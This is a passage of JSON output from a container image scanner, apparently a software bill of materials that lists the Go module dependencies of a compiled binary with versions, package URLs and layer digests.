"github.com/stretchr/objx@v0.5.3", "github.com/stretchr/testify@v1.11.1", "github.com/subosito/gotenv@v1.6.0", "github.com/thomaspoignant/go-feature-flag@v1.42.0", "github.com/tjhop/slog-gokit@v0.1.6", "github.com/ua-parser/uap-go@v0.0.0-20250213224047-9c035f085b90", "github.com/uber/jaeger-client-go@v2.30.0+incompatible", "github.com/uber/jaeger-lib@v2.4.1+incompatible", "github.com/urfave/cli/v2@v2.27.7", "github.com/valyala/bytebufferpool@v1.0.0", "github.com/wk8/go-ordered-map/v2@v2.1.8", "github.com/wk8/go-ordered-map@v1.0.0", "github.com/woodsbury/decimal128@v1.4.0", "github.com/x448/float16@v0.8.4", "github.com/xlab/treeprint@v1.2.0", "github.com/xrash/smetrics@v0.0.0-20240521201337-686a1a2994c1", "github.com/youmark/pkcs8@v0.0.0-20240726163527-a2c0da244d78", "github.com/zclconf/go-cty@v1.16.3", "github.com/zeebo/xxh3@v1.1.0", "go.etcd.io/bbolt@v1.4.3", "go.etcd.io/etcd/api/v3@v3.6.7", "go.etcd.io/etcd/client/pkg/v3@v3.6.7", "go.etcd.io/etcd/client/v3@v3.6.7", "go.opentelemetry.io/auto/sdk@v1.2.1", "go.opentelemetry.io/collector/featuregate@v1.44.0", "go.opentelemetry.io/collector/pdata@v1.44.0", "go.opentelemetry.io/contrib/bridges/prometheus@v0.64.0", "go.opentelemetry.io/contrib/detectors/gcp@v1.39.0", "go.opentelemetry.io/contrib/exporters/autoexport@v0.64.0", "go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc@v0.68.0", "go.opentelemetry.io/contrib/instrumentation/net/http/httptrace/otelhttptrace@v0.67.0", "go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp@v0.68.0", "go.opentelemetry.io/contrib/propagators/jaeger@v1.42.0", "go.opentelemetry.io/contrib/samplers/jaegerremote@v0.36.0", "go.opentelemetry.io/otel/exporters/jaeger@v1.17.0", "go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc@v0.15.0", "go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp@v0.19.0", "go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc@v1.39.0", "go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp@v1.43.0", "go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc@v1.43.0", "go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp@v1.43.0", "go.opentelemetry.io/otel/exporters/otlp/otlptrace@v1.43.0", "go.opentelemetry.io/otel/exporters/prometheus@v0.61.0", "go.opentelemetry.io/otel/exporters/stdout/stdoutlog@v0.15.0", "go.opentelemetry.io/otel/exporters/stdout/stdoutmetric@v1.39.0", "go.opentelemetry.io/otel/exporters/stdout/stdouttrace@v1.39.0", "go.opentelemetry.io/otel/log@v0.19.0", "go.opentelemetry.io/otel/metric@v1.43.0", "go.opentelemetry.io/otel/sdk/log@v0.19.0", "go.opentelemetry.io/otel/sdk/metric@v1.43.0", "go.opentelemetry.io/otel/sdk@v1.43.0", "go.opentelemetry.io/otel/trace@v1.43.0", "go.opentelemetry.io/otel@v1.43.0", "go.opentelemetry.io/proto/otlp@v1.10.0", "go.uber.org/atomic@v1.11.0", "go.uber.org/mock@v0.6.0", "go.uber.org/multierr@v1.11.0", "go.uber.org/zap@v1.27.1", "go.yaml.in/yaml/v2@v2.4.3", "go.yaml.in/yaml/v3@v3.0.4", "go4.org/netipx@v0.0.0-20230125063823-8449b0a6169f", "gocloud.dev@v0.44.0", "golang.org/x/crypto@v0.52.0", "golang.org/x/exp@v0.0.0-20260312153236-7ab1446f8b90", "golang.org/x/net@v0.55.0", "golang.org/x/oauth2@v0.36.0", "golang.org/x/sync@v0.20.0", "golang.org/x/sys@v0.45.0", "golang.org/x/term@v0.43.0", "golang.org/x/text@v0.37.0", "golang.org/x/time@v0.15.0", "golang.org/x/tools@v0.44.0", "golang.org/x/xerrors@v0.0.0-20240903120638-7835f813f4da", "gomodules.xyz/jsonpatch/v2@v2.5.0", "gonum.org/v1/gonum@v0.17.0", "google.golang.org/api@v0.256.0", "google.golang.org/genproto/googleapis/api@v0.0.0-20260401024825-9d38bb4040a9", "google.golang.org/genproto/googleapis/rpc@v0.0.0-20260406210006-6f92a3bedf2d", "google.golang.org/genproto@v0.0.0-20260128011058-8636f8732409", "google.golang.org/grpc@v1.80.0", "google.golang.org/protobuf@v1.36.11", "gopkg.in/evanphx/json-patch.v4@v4.13.0", "gopkg.in/inf.v0@v0.9.1", "gopkg.in/ini.v1@v1.67.1", "gopkg.in/mail.v2@v2.3.1", "gopkg.in/natefinch/lumberjack.v2@v2.2.1", "gopkg.in/src-d/go-errors.v1@v1.0.0", "gopkg.in/telebot.v3@v3.3.8", "gopkg.in/yaml.v2@v2.4.0", "gopkg.in/yaml.v3@v3.0.1", "k8s.io/api@v0.35.3", "k8s.io/apiextensions-apiserver@v0.35.1", "k8s.io/apimachinery@v0.35.3", "k8s.io/apiserver@v0.35.1", "k8s.io/client-go@v0.35.3", "k8s.io/component-base@v0.35.1", "k8s.io/klog/v2@v2.130.1", "k8s.io/kms@v0.35.1", "k8s.io/kube-aggregator@v0.35.0", "k8s.io/kube-openapi@v0.0.0-20260127142750-a19766b6e2d4", "k8s.io/utils@v0.0.0-20251002143259-bc988d571ff4", "modernc.org/libc@v1.70.0", "modernc.org/mathutil@v1.7.1", "modernc.org/memory@v1.11.0", "modernc.org/sqlite@v1.48.2", "sigs.k8s.io/apiserver-network-proxy/konnectivity-client@v0.34.0", "sigs.k8s.io/json@v0.0.0-20250730193827-2d320260d730", "sigs.k8s.io/randfill@v1.0.0", "sigs.k8s.io/structured-merge-diff/v6@v6.3.2", "sigs.k8s.io/yaml@v1.6.0", "software.sslmate.com/src/go-pkcs12@v0.7.0", "stdlib@v1.26.3", "xorm.io/builder@v0.3.13" ], "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "stdlib@v1.26.3", "Name": "stdlib", "Identifier": { "PURL": "pkg:golang/stdlib@v1.26.3", "UID": "8da4595ba8e1b0f0" }, "Version": "v1.26.3", "Relationship": "direct", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "./apps/live", "Name": "./apps/live", "Identifier": { "UID": "b2ea41f09293c943" }, "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "buf.build/gen/go/parca-dev/parca/connectrpc/go@v1.18.1-20250703125925-3f0fcf4bff96.1", "Name": "buf.build/gen/go/parca-dev/parca/connectrpc/go", "Identifier": { "PURL": "pkg:golang/buf.build/gen/go/parca-dev/parca/connectrpc/go@v1.18.1-20250703125925-3f0fcf4bff96.1", "UID": "243394e5563f1158" }, "Version": "v1.18.1-20250703125925-3f0fcf4bff96.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "buf.build/gen/go/parca-dev/parca/protocolbuffers/go@v1.36.2-20250703125925-3f0fcf4bff96.1", "Name": "buf.build/gen/go/parca-dev/parca/protocolbuffers/go", "Identifier": { "PURL": "pkg:golang/buf.build/gen/go/parca-dev/parca/protocolbuffers/go@v1.36.2-20250703125925-3f0fcf4bff96.1", "UID": "3bf7ffa01189e111" }, "Version": "v1.36.2-20250703125925-3f0fcf4bff96.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "cel.dev/expr@v0.25.1", "Name": "cel.dev/expr", "Identifier": { "PURL": "pkg:golang/cel.dev/expr@v0.25.1", "UID": "6d179fbd8c1ead40" }, "Version": "v0.25.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "cloud.google.com/go@v0.123.0", "Name": "cloud.google.com/go", "Identifier": { "PURL": "pkg:golang/cloud.google.com/go@v0.123.0", "UID": "3599fb1f7a04af43" }, "Version": "v0.123.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "cloud.google.com/go/auth@v0.17.0", "Name": "cloud.google.com/go/auth", "Identifier": { "PURL": "pkg:golang/cloud.google.com/go/auth@v0.17.0", "UID": "5c32a84782e36701" }, "Version": "v0.17.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "cloud.google.com/go/auth/oauth2adapt@v0.2.8", "Name": "cloud.google.com/go/auth/oauth2adapt", "Identifier": { "PURL": "pkg:golang/cloud.google.com/go/auth/oauth2adapt@v0.2.8", "UID": "eafaac33a67641b4" }, "Version": "v0.2.8", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "cloud.google.com/go/compute/metadata@v0.9.0", "Name": "cloud.google.com/go/compute/metadata", "Identifier": { "PURL": "pkg:golang/cloud.google.com/go/compute/metadata@v0.9.0", "UID": "bd7c1dc74ccaa3f4" }, "Version": "v0.9.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "cloud.google.com/go/iam@v1.5.3", "Name": "cloud.google.com/go/iam", "Identifier": { "PURL": "pkg:golang/cloud.google.com/go/iam@v1.5.3", "UID": "4aacc91c089caaab" }, "Version": "v1.5.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "cloud.google.com/go/monitoring@v1.24.3", "Name": "cloud.google.com/go/monitoring", "Identifier": { "PURL": "pkg:golang/cloud.google.com/go/monitoring@v1.24.3", "UID": "6d79ce98fd114b9" }, "Version": "v1.24.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "cloud.google.com/go/storage@v1.57.0", "Name": "cloud.google.com/go/storage", "Identifier": { "PURL": "pkg:golang/cloud.google.com/go/storage@v1.57.0", "UID": "9b7e1f1c71e03a13" }, "Version": "v1.57.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "connectrpc.com/connect@v1.19.1", "Name": "connectrpc.com/connect", "Identifier": { "PURL": "pkg:golang/connectrpc.com/connect@v1.19.1", "UID": "eec8a30a09067ae0" }, "Version": "v1.19.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "dario.cat/mergo@v1.0.2", "Name": "dario.cat/mergo", "Identifier": { "PURL": "pkg:golang/dario.cat/mergo@v1.0.2", "UID": "27dc2de52264fea8" }, "Version": "v1.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "filippo.io/age@v1.2.1", "Name": "filippo.io/age", "Identifier": { "PURL": "pkg:golang/filippo.io/age@v1.2.1", "UID": "59341d538288118a" }, "Version": "v1.2.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/1NCE-GmbH/grpc-go-pool@v0.0.0-20231117122434-2a5bb974daa2", "Name": "github.com/1NCE-GmbH/grpc-go-pool", "Identifier": { "PURL": "pkg:golang/github.com/1nce-gmbh/grpc-go-pool@v0.0.0-20231117122434-2a5bb974daa2", "UID": "c648794e2763188d" }, "Version": "v0.0.0-20231117122434-2a5bb974daa2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/Azure/azure-pipeline-go@v0.2.3", "Name": "github.com/Azure/azure-pipeline-go", "Identifier": { "PURL": "pkg:golang/github.com/azure/azure-pipeline-go@v0.2.3", "UID": "4acfd6af2b16686" }, "Version": "v0.2.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/Azure/azure-sdk-for-go/sdk/azcore@v1.20.0", "Name": "github.com/Azure/azure-sdk-for-go/sdk/azcore", "Identifier": { "PURL": "pkg:golang/github.com/azure/azure-sdk-for-go/sdk/azcore@v1.20.0", "UID": "ec948b19ff879d93" }, "Version": "v1.20.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/Azure/azure-sdk-for-go/sdk/azidentity@v1.13.1", "Name": "github.com/Azure/azure-sdk-for-go/sdk/azidentity", "Identifier": { "PURL": "pkg:golang/github.com/azure/azure-sdk-for-go/sdk/azidentity@v1.13.1", "UID": "4f6f8f6392abdc8a" }, "Version": "v1.13.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/Azure/azure-sdk-for-go/sdk/internal@v1.11.2", "Name": "github.com/Azure/azure-sdk-for-go/sdk/internal", "Identifier": { "PURL": "pkg:golang/github.com/azure/azure-sdk-for-go/sdk/internal@v1.11.2", "UID": "257bf747c2791353" }, "Version": "v1.11.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/Azure/azure-sdk-for-go/sdk/storage/azblob@v1.6.2", "Name": "github.com/Azure/azure-sdk-for-go/sdk/storage/azblob", "Identifier": { "PURL": "pkg:golang/github.com/azure/azure-sdk-for-go/sdk/storage/azblob@v1.6.2", "UID": "81454d00c2c60b7b" }, "Version": "v1.6.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/Azure/azure-storage-blob-go@v0.15.0", "Name": "github.com/Azure/azure-storage-blob-go", "Identifier": { "PURL": "pkg:golang/github.com/azure/azure-storage-blob-go@v0.15.0", "UID": "7bb0b6dac42c3a9" }, "Version": "v0.15.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/Azure/go-autorest/autorest/to@v0.4.1", "Name": "github.com/Azure/go-autorest/autorest/to", "Identifier": { "PURL": "pkg:golang/github.com/azure/go-autorest/autorest/to@v0.4.1", "UID": "d5c9cc0940671642" }, "Version": "v0.4.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/Azure/go-ntlmssp@v0.1.1", "Name": "github.com/Azure/go-ntlmssp", "Identifier": { "PURL": "pkg:golang/github.com/azure/go-ntlmssp@v0.1.1", "UID": "4fb265ee88a21371" }, "Version": "v0.1.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/AzureAD/microsoft-authentication-library-for-go@v1.6.0", "Name": "github.com/AzureAD/microsoft-authentication-library-for-go", "Identifier": { "PURL": "pkg:golang/github.com/azuread/microsoft-authentication-library-for-go@v1.6.0", "UID": "6da9aa8feaeb5c0f" }, "Version": "v1.6.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/BurntSushi/toml@v1.5.0", "Name": "github.com/BurntSushi/toml", "Identifier": { "PURL": "pkg:golang/github.com/burntsushi/toml@v1.5.0", "UID": "24ec75ff1adaea2d" }, "Version": "v1.5.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/FZambia/eagle@v0.2.0", "Name": "github.com/FZambia/eagle", "Identifier": { "PURL": "pkg:golang/github.com/fzambia/eagle@v0.2.0", "UID": "198f955f10a4dbcb" }, "Version": "v0.2.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp@v1.31.0", "Name": "github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp", "Identifier": { "PURL": "pkg:golang/github.com/googlecloudplatform/opentelemetry-operations-go/detectors/gcp@v1.31.0", "UID": "8e05727f418b7739" }, "Version": "v1.31.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric@v0.54.0", "Name": "github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric", "Identifier": { "PURL": "pkg:golang/github.com/googlecloudplatform/opentelemetry-operations-go/exporter/metric@v0.54.0", "UID": "abc44d029a727f13" }, "Version": "v0.54.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping@v0.54.0", "Name": "github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping", "Identifier": { "PURL": "pkg:golang/github.com/googlecloudplatform/opentelemetry-operations-go/internal/resourcemapping@v0.54.0", "UID": "64395937820cebd9" }, "Version": "v0.54.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/IBM/pgxpoolprometheus@v1.1.2", "Name": "github.com/IBM/pgxpoolprometheus", "Identifier": { "PURL": "pkg:golang/github.com/ibm/pgxpoolprometheus@v1.1.2", "UID": "f6c71e611f63a99" }, "Version": "v1.1.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/Machiel/slugify@v1.0.1", "Name": "github.com/Machiel/slugify", "Identifier": { "PURL": "pkg:golang/github.com/machiel/slugify@v1.0.1", "UID": "8d28543cafd2a00b" }, "Version": "v1.0.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/Masterminds/goutils@v1.1.1", "Name": "github.com/Masterminds/goutils", "Identifier": { "PURL": "pkg:golang/github.com/masterminds/goutils@v1.1.1", "UID": "3e77c71fb8b45df5" }, "Version": "v1.1.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/Masterminds/semver@v1.5.0", "Name": "github.com/Masterminds/semver", "Identifier": { "PURL": "pkg:golang/github.com/masterminds/semver@v1.5.0", "UID": "8c2b80005c5e2bda" }, "Version": "v1.5.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/Masterminds/semver/v3@v3.4.0", "Name": "github.com/Masterminds/semver/v3", "Identifier": { "PURL": "pkg:golang/github.com/masterminds/semver/v3@v3.4.0", "UID": "81674e6ae5564702" }, "Version": "v3.4.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/Masterminds/sprig/v3@v3.3.0", "Name": "github.com/Masterminds/sprig/v3", "Identifier": { "PURL": "pkg:golang/github.com/masterminds/sprig/v3@v3.3.0", "UID": "d950ff098260659f" }, "Version": "v3.3.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/Masterminds/squirrel@v1.5.4", "Name": "github.com/Masterminds/squirrel", "Identifier": { "PURL": "pkg:golang/github.com/masterminds/squirrel@v1.5.4", "UID": "ed85206b331cce5c" }, "Version": "v1.5.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/NYTimes/gziphandler@v1.1.1", "Name": "github.com/NYTimes/gziphandler", "Identifier": { "PURL": "pkg:golang/github.com/nytimes/gziphandler@v1.1.1", "UID": "9308358dfce4f7e1" }, "Version": "v1.1.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/ProtonMail/go-crypto@v1.3.0", "Name": "github.com/ProtonMail/go-crypto", "Identifier": { "PURL": "pkg:golang/github.com/protonmail/go-crypto@v1.3.0", "UID": "6a21b8cb041c5938" }, "Version": "v1.3.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/RoaringBitmap/roaring/v2@v2.4.5", "Name": "github.com/RoaringBitmap/roaring/v2", "Identifier": { "PURL": "pkg:golang/github.com/roaringbitmap/roaring/v2@v2.4.5", "UID": "236b25e07c8e58a2" }, "Version": "v2.4.5", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/VividCortex/mysqlerr@v1.0.0", "Name": "github.com/VividCortex/mysqlerr", "Identifier": { "PURL": "pkg:golang/github.com/vividcortex/mysqlerr@v1.0.0", "UID": "64b8995f6b13a3ee" }, "Version": "v1.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/Yiling-J/theine-go@v0.6.2", "Name": "github.com/Yiling-J/theine-go", "Identifier": { "PURL": "pkg:golang/github.com/yiling-j/theine-go@v0.6.2", "UID": "fa1e3e70fd3226f8" }, "Version": "v0.6.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/agext/levenshtein@v1.2.1", "Name": "github.com/agext/levenshtein", "Identifier": { "PURL": "pkg:golang/github.com/agext/levenshtein@v1.2.1", "UID": "82691636839f7381" }, "Version": "v1.2.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/alecthomas/units@v0.0.0-20240927000941-0f3dac36c52b", "Name": "github.com/alecthomas/units", "Identifier": { "PURL": "pkg:golang/github.com/alecthomas/units@v0.0.0-20240927000941-0f3dac36c52b", "UID": "9a7ba9c4416d20b6" }, "Version": "v0.0.0-20240927000941-0f3dac36c52b", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/andybalholm/brotli@v1.2.0", "Name": "github.com/andybalholm/brotli", "Identifier": { "PURL": "pkg:golang/github.com/andybalholm/brotli@v1.2.0", "UID": "eadeac6c3fee4c9a" }, "Version": "v1.2.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/antlr4-go/antlr/v4@v4.13.1", "Name": "github.com/antlr4-go/antlr/v4", "Identifier": { "PURL": "pkg:golang/github.com/antlr4-go/antlr/v4@v4.13.1", "UID": "d4b86642f943c97f" }, "Version": "v4.13.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/apache/arrow-go/v18@v18.5.2", "Name": "github.com/apache/arrow-go/v18", "Identifier": { "PURL": "pkg:golang/github.com/apache/arrow-go/v18@v18.5.2", "UID": "b7a0a80aa58d2bbf" }, "Version": "v18.5.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/apache/thrift@v0.23.1-0.20260429145742-d2acd3c49e58", "Name": "github.com/apache/thrift", "Identifier": { "PURL": "pkg:golang/github.com/apache/thrift@v0.23.1-0.20260429145742-d2acd3c49e58", "UID": "4de81edfd300448e" }, "Version": "v0.23.1-0.20260429145742-d2acd3c49e58", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/apapsch/go-jsonmerge/v2@v2.0.0", "Name": "github.com/apapsch/go-jsonmerge/v2", "Identifier": { "PURL": "pkg:golang/github.com/apapsch/go-jsonmerge/v2@v2.0.0", "UID": "fecc2494b5d9a1d4" }, "Version": "v2.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/apparentlymart/go-textseg/v15@v15.0.0", "Name": "github.com/apparentlymart/go-textseg/v15", "Identifier": { "PURL": "pkg:golang/github.com/apparentlymart/go-textseg/v15@v15.0.0", "UID": "ad9df40e2a5cbd1b" }, "Version": "v15.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/armon/go-metrics@v0.4.1", "Name": "github.com/armon/go-metrics", "Identifier": { "PURL": "pkg:golang/github.com/armon/go-metrics@v0.4.1", "UID": "b8882aac3f7dd815" }, "Version": "v0.4.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/armon/go-radix@v1.0.0", "Name": "github.com/armon/go-radix", "Identifier": { "PURL": "pkg:golang/github.com/armon/go-radix@v1.0.0", "UID": "78042cfec16824cd" }, "Version": "v1.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/at-wat/mqtt-go@v0.19.6", "Name": "github.com/at-wat/mqtt-go", "Identifier": { "PURL": "pkg:golang/github.com/at-wat/mqtt-go@v0.19.6", "UID": "a42e6289601dc459" }, "Version": "v0.19.6", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go@v1.55.7", "Name": "github.com/aws/aws-sdk-go", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go@v1.55.7", "UID": "b270f776d3c54a3b" }, "Version": "v1.55.7", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2@v1.41.7", "Name": "github.com/aws/aws-sdk-go-v2", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2@v1.41.7", "UID": "a376ca3f57b4e559" }, "Version": "v1.41.7", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream@v1.7.10", "Name": "github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream@v1.7.10", "UID": "795f44a80e3ab561" }, "Version": "v1.7.10", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/config@v1.32.7", "Name": "github.com/aws/aws-sdk-go-v2/config", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/config@v1.32.7", "UID": "1562aaf35d00181f" }, "Version": "v1.32.7", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/credentials@v1.19.7", "Name": "github.com/aws/aws-sdk-go-v2/credentials", "Identifier": { "PURL": 